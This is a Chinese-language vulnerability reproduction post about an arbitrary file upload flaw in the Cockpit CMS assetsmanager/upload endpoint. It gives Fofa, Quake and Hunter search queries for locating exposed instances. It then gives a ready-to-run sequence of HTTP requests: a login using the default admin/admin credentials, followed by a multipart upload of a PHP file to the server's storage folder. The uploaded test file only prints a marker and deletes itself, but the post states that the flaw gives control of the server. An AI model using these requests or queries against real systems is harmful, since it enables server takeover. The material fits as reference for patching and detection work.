【漏洞复现】cockpit系统assetsmanager/upload接口存在文件上传漏洞

0x01 漏洞描述

cockpit系统assetsmanager/upload接口处存在任意文件上传漏洞。攻击者可通过该漏洞在服务端任意上传代码并获取服务器权限，进而控制整个Web服务器。

0x02 空间测绘

测绘语法：

Fofa：title="Authenticate Please!"
quake：title:"Authenticate Please!"
hunter：web.title="Authenticate Please!"

0x03 漏洞复现

登录界面如下：

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：

GET /auth/login?to=/ HTTP/1.1
Host: xxx.com
Content-Length: 2

2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
Host: xxx.com
Content-Type: application/json
User-Agent: Mozilla/5.0 
Content-Length: 157

{"auth":{"user":"admin","password":"admin"},"csfr":"csfr"}

3.上传文件：


POST /assetsmanager/upload HTTP/1.1
Host: xxx.com
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=123451234512345123451234512345123
User-Agent: Mozilla/5.0 
Content-Length: 357

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="BE1a3e.php"
Content-Type: text/php

<?php echo "12131231231234e80test";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"


-----------------------------36D28FBc36bd6feE7Fb3--

4.访问 url+/storage/uploads/+path 验证上传结果：